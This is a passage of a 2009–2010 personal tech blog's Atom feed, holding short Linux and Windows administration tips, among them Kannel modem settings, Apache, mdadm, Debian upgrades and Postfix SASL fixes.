/&gt;need-sleep = true&lt;br /&gt;message-storage = "SM"&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = nokiaphone&lt;br /&gt;name = "Nokia Phone"&lt;br /&gt;detect-string = "Nokia Mobile Phone"&lt;br /&gt;need-sleep = true&lt;br /&gt;keepalive-cmd = "AT+CBC;+CSQ"&lt;br /&gt;enable-mms = true&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = falcom&lt;br /&gt;name = "Falcom"&lt;br /&gt;detect-string = "Falcom"&lt;br /&gt;#no-smsc = true&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = ericsson_r520m&lt;br /&gt;name = "Ericsson R520m"&lt;br /&gt;detect-string = "R520m"&lt;br /&gt;init-string = "AT+CNMI=3,2,0,0"&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = ericsson_t68&lt;br /&gt;name = "Ericsson T68"&lt;br /&gt;detect-string = "T68"&lt;br /&gt;init-string = "AT+CNMI=3,3"&lt;br /&gt;keepalive-cmd = "AT+CBC;+CSQ"&lt;br /&gt;broken = true&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = sonyericsson_gr47&lt;br /&gt;name = "Sony Ericsson GR47"&lt;br /&gt;detect-string = "GR47"&lt;br /&gt;message-storage = "ME"&lt;br /&gt;# use this init-string for non sim-buffering&lt;br /&gt;init-string = "AT+CNMI=3,2,0,0"&lt;br /&gt;# use this init-string for sim-buffering&lt;br /&gt;#init-string = "AT+CNMI=3,1,0,0"&lt;br /&gt;reset-string = "ATZ"&lt;br /&gt;broken = true&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = alcatel&lt;br /&gt;name = "Alcatel"&lt;br /&gt;detect-string = "Alcatel"&lt;br /&gt;init-string = "AT+CNMI=3,2,0,0"&lt;br /&gt;&lt;br /&gt;group = modems&lt;br /&gt;id = sonyericsson_T630-T628&lt;br /&gt;name = "Sony Ericsson T630-T628?&lt;br /&gt;init-string = "AT+CNMI=2,3,2,0,0;+CMGF=0?&lt;br /&gt;keepalive-cmd = "AT+CBC;+CSQ;+CMGF=0?&lt;br /&gt;broken = true&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-6538720434832060636?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/6538720434832060636/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/09/kannel-configuration-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/6538720434832060636'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/6538720434832060636'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/09/kannel-configuration-file.html' title='Kannel configuration file'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-8611516903963186888</id><published>2010-05-04T19:11:00.000-07:00</published><updated>2010-05-04T19:12:03.728-07:00</updated><title type='text'>Blank screen loading xorg on Debian Lenny on iMac 3G</title><content type='html'>Solved via this link: http://forums.debian.net/viewtopic.php?f=7&amp;t=36188&amp;start=0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-8611516903963186888?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://forums.debian.net/viewtopic.php?f=7&amp;t=36188&amp;start=0' title='Blank screen loading xorg on Debian Lenny on iMac 3G'/><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/8611516903963186888/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/05/blank-screen-loading-xorg-on-debian.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/8611516903963186888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/8611516903963186888'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/05/blank-screen-loading-xorg-on-debian.html' title='Blank screen loading xorg on Debian Lenny on iMac 3G'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-496069962010604047</id><published>2010-03-31T17:30:00.000-07:00</published><updated>2010-03-31T17:33:43.747-07:00</updated><title type='text'>The system cannot find specified file. (0x80070002) error, Windows 7</title><content type='html'>The system cannot find specified file. (0x80070002) error, Windows 7&lt;br /&gt;&lt;br /&gt;The solution to this problem is to reload/reinstall registry entries for your services. It seems some critical services were turned off, etc, causing a generic backup error. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Download your proper registry files here: http://www.blackviper.com/Windows_7/registry.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-496069962010604047?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/496069962010604047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/03/system-cannot-find-specified-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/496069962010604047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/496069962010604047'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/03/system-cannot-find-specified-file.html' title='The system cannot find specified file. (0x80070002) error, Windows 7'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-2221799630203658616</id><published>2010-03-10T02:10:00.000-08:00</published><updated>2010-03-10T02:12:36.347-08:00</updated><title type='text'>Zend Optimizer and PHP 5.3.x</title><content type='html'>PHP files encoded with the zend engine for php version 2.5.x need to be recompiled to reflect changes in the 5.3.x interpreter, or will require reverting back to php 5.2.x.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-2221799630203658616?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.zend.com' title='Zend Optimizer and PHP 5.3.x'/><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/2221799630203658616/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/03/zend-optimizer-and-php-53x.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/2221799630203658616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/2221799630203658616'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/03/zend-optimizer-and-php-53x.html' title='Zend Optimizer and PHP 5.3.x'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-3462998933421698811</id><published>2010-02-28T09:42:00.000-08:00</published><updated>2010-02-28T09:45:53.307-08:00</updated><title type='text'>APXS was not found, so mod_suphp will not be built!</title><content type='html'>APXS was not found, so mod_suphp will not be built!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The trick was running "./configure --with-apxs=/usr/bin/apxs2", then "make", "make test", "make install"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-3462998933421698811?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='https://lists.marsching.com/pipermail/suphp/2003-September/000021.html' title='APXS was not found, so mod_suphp will not be built!'/><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/3462998933421698811/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/02/apxs-was-not-found-so-modsuphp-will-not.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/3462998933421698811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/3462998933421698811'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2010/02/apxs-was-not-found-so-modsuphp-will-not.html' title='APXS was not found, so mod_suphp will not be built!'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-3351182862350622641</id><published>2009-12-23T13:04:00.000-08:00</published><updated>2009-12-23T13:05:20.729-08:00</updated><title type='text'>host multiple domain SSL certificates with one ip address</title><content type='html'>Ha! I finally think I found a way to host multiple domain SSL certificates using just 1 ip address. One glance at the website gives you a headache though. Apparently the trick is a module for apache called SNI? Whatever, as long as it works for what I'm trying to do... - http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-3351182862350622641?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI' title='host multiple domain SSL certificates with one ip address'/><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/3351182862350622641/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/12/host-multiple-domain-ssl-certificates.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/3351182862350622641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/3351182862350622641'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/12/host-multiple-domain-ssl-certificates.html' title='host multiple domain SSL certificates with one ip address'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-614622320869867631</id><published>2009-11-22T15:06:00.000-08:00</published><updated>2009-11-23T11:44:42.416-08:00</updated><title type='text'>SparesMissing event on /dev/md0:server1</title><content type='html'>If you are getting emails from mdadm, like the one below:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is an automatically generated mail message from mdadm&lt;br /&gt;running on server1&lt;br /&gt;&lt;br /&gt;A SparesMissing event had been detected on md device /dev/md0.&lt;br /&gt;&lt;br /&gt;Faithfully yours, etc.&lt;br /&gt;&lt;br /&gt;P.S. The /proc/mdstat file currently contains the following:&lt;br /&gt;&lt;br /&gt;Personalities : [raid1] &lt;br /&gt;md0 : active raid1 hda1[0] hdc1[1]&lt;br /&gt;      117788480 blocks [2/2] [UU]&lt;br /&gt;      &lt;br /&gt;unused devices: &lt;none&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the solution to the problem was to edit /etc/mdadm/mdadm.conf, and change spares=1 to spares=0&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-614622320869867631?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='https://bugs.launchpad.net/ubuntu/+source/mdadm/+bug/252365' title='SparesMissing event on /dev/md0:server1'/><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/614622320869867631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/11/sparesmissing-event-on-devmd0server1.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/614622320869867631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/614622320869867631'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/11/sparesmissing-event-on-devmd0server1.html' title='SparesMissing event on /dev/md0:server1'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-6180955528935285757</id><published>2009-11-09T23:24:00.000-08:00</published><updated>2009-11-09T23:25:59.400-08:00</updated><title type='text'>Hibernation on Windows 7 and Windows Vista</title><content type='html'>If you are curious on how to enable hibernation, check out this &lt;a href="http://support.microsoft.com/kb/929658" target="_blank"&gt;link&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-6180955528935285757?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/6180955528935285757/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/11/hibernation-on-windows-7-and-windows.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/6180955528935285757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/6180955528935285757'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/11/hibernation-on-windows-7-and-windows.html' title='Hibernation on Windows 7 and Windows Vista'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-5661854494732691291</id><published>2009-11-09T22:27:00.001-08:00</published><updated>2009-11-09T22:28:57.738-08:00</updated><title type='text'>Mac OS X on Windows</title><content type='html'>Ever wondered if you can install Mac OS X and run it outside of Apple hardware? Well, you can. I've found a wonderful tutorial on line that I can verify works correctly. Try it out yourself. :) - &lt;a href="http://pcwizcomputer.com/index.php?option=com_content&amp;task=view&amp;id=75&amp;Itemid=45" target="_blank"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-5661854494732691291?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/5661854494732691291/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/11/mac-os-x-on-windows.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5661854494732691291'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5661854494732691291'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/11/mac-os-x-on-windows.html' title='Mac OS X on Windows'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-116549937448679513</id><published>2009-10-26T21:48:00.001-07:00</published><updated>2009-10-26T21:50:13.419-07:00</updated><title type='text'>Amanda Linux backup utility</title><content type='html'>I highly recommend Amanda backup utility for linux. You can find more at &lt;a href="http://www.amanda.org"&gt;http://www.amanda.org&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-116549937448679513?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.amanda.org' title='Amanda Linux backup utility'/><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/116549937448679513/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/10/amanda-linux-backup-utility.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/116549937448679513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/116549937448679513'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/10/amanda-linux-backup-utility.html' title='Amanda Linux backup utility'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-5506246212377850809</id><published>2009-10-15T11:19:00.000-07:00</published><updated>2009-10-15T11:20:01.681-07:00</updated><title type='text'>Microsoft's Readyboost</title><content type='html'>I finally get a chance to utilize Microsoft's Readyboost feature. - http://en.wikipedia.org/wiki/Readyboost&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-5506246212377850809?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://en.wikipedia.org/wiki/Readyboost' title='Microsoft&apos;s Readyboost'/><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/5506246212377850809/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/10/microsofts-readyboost.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5506246212377850809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/5506246212377850809'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/10/microsofts-readyboost.html' title='Microsoft&apos;s Readyboost'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-1741547004299164832</id><published>2009-08-09T19:29:00.001-07:00</published><updated>2009-08-09T19:29:56.138-07:00</updated><title type='text'>Windows 7</title><content type='html'>I can't wait until Windows 7 comes released, and I'm able to purchase a new laptop with it......&lt;br /&gt;&lt;br /&gt;It'll be here before I know it. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-1741547004299164832?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/1741547004299164832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/08/windows-7.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/1741547004299164832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/1741547004299164832'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/08/windows-7.html' title='Windows 7'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-6243441462103318061</id><published>2009-04-27T19:32:00.000-07:00</published><updated>2009-04-27T19:33:40.460-07:00</updated><title type='text'>Setting up Bootlog for Debian</title><content type='html'>Edit file /etc/default/bootlogd&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Change&lt;br /&gt;&lt;br /&gt;# Run bootlogd at startup ?&lt;br /&gt;BOOTLOGD_ENABLE=No&lt;br /&gt;&lt;br /&gt;to&lt;br /&gt;&lt;br /&gt;# Run bootlogd at startup ?&lt;br /&gt;BOOTLOGD_ENABLE=Yes&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-6243441462103318061?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/6243441462103318061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/setting-up-bootlog-for-debian.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/6243441462103318061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/6243441462103318061'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/setting-up-bootlog-for-debian.html' title='Setting up Bootlog for Debian'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-7831619227265262384</id><published>2009-04-14T17:03:00.000-07:00</published><updated>2009-04-14T17:04:28.822-07:00</updated><title type='text'>Warning: SuexecUserGroup directive requires SUEXEC wrapper.</title><content type='html'>Apache is obviously complaining about suexec in the apache error logs. I finally found the solution.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;apt-get install apache2-suexec&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-7831619227265262384?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/7831619227265262384/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/warning-suexecusergroup-directive.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/7831619227265262384'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/7831619227265262384'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/warning-suexecusergroup-directive.html' title='Warning: SuexecUserGroup directive requires SUEXEC wrapper.'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-2108164754116923303</id><published>2009-04-12T17:21:00.000-07:00</published><updated>2009-04-12T17:22:03.109-07:00</updated><title type='text'>ntpd[3122]: kernel time sync error 0001</title><content type='html'>The solution to this problem is updating the kernel because of a newer ntpd version.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-2108164754116923303?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/2108164754116923303/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/ntpd3122-kernel-time-sync-error-0001.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/2108164754116923303'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/2108164754116923303'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/ntpd3122-kernel-time-sync-error-0001.html' title='ntpd[3122]: kernel time sync error 0001'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-4468291972408024380</id><published>2009-04-04T11:48:00.000-07:00</published><updated>2009-04-04T11:49:14.184-07:00</updated><title type='text'>Upgrading Debian Etch to Debian Lenny</title><content type='html'>Ensure your Etch installation is up to date (aptitude update; aptitude dist-upgrade). Edit your /etc/apt/sources.list and change all non-local mentions of "etch" or "stable" to "lenny". aptitude update; aptitude install aptitude; aptitude safe-upgrade; aptitude full-upgrade.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-4468291972408024380?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/4468291972408024380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/upgrading-debian-etch-to-debian-lenny.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/4468291972408024380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/4468291972408024380'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/upgrading-debian-etch-to-debian-lenny.html' title='Upgrading Debian Etch to Debian Lenny'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-3733085199569998891</id><published>2009-04-04T11:47:00.000-07:00</published><updated>2009-04-04T11:48:10.847-07:00</updated><title type='text'>warning: SASL authentication failure: cannot connect to saslauthd server: Permission denied</title><content type='html'>The solution to this problem is as follows:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;adduser postfix sasl&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7730149933083170390-3733085199569998891?l=seanstechnologyblog.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://seanstechnologyblog.blogspot.com/feeds/3733085199569998891/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/warning-sasl-authentication-failure.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/3733085199569998891'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7730149933083170390/posts/default/3733085199569998891'/><link rel='alternate' type='text/html' href='http://seanstechnologyblog.blogspot.com/2009/04/warning-sasl-authentication-failure.html' title='warning: SASL authentication failure: cannot connect to saslauthd server: Permission denied'/><author><name>Sean Brady</name><uri>http://www.blogger.com/profile/03328637698410452309</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7730149933083170390.post-2841298995453115306</id><published>2009-03-16T10:25:00.000-07:00</published><updated>2009-03-16T10:26:30.662-07:00</updated><title type='text'>updating debian / ubuntu</title><content type='html'>To update your debian/ubuntu system, you will need to run;&lt;br /&gt;&lt;br /&gt;apt-get 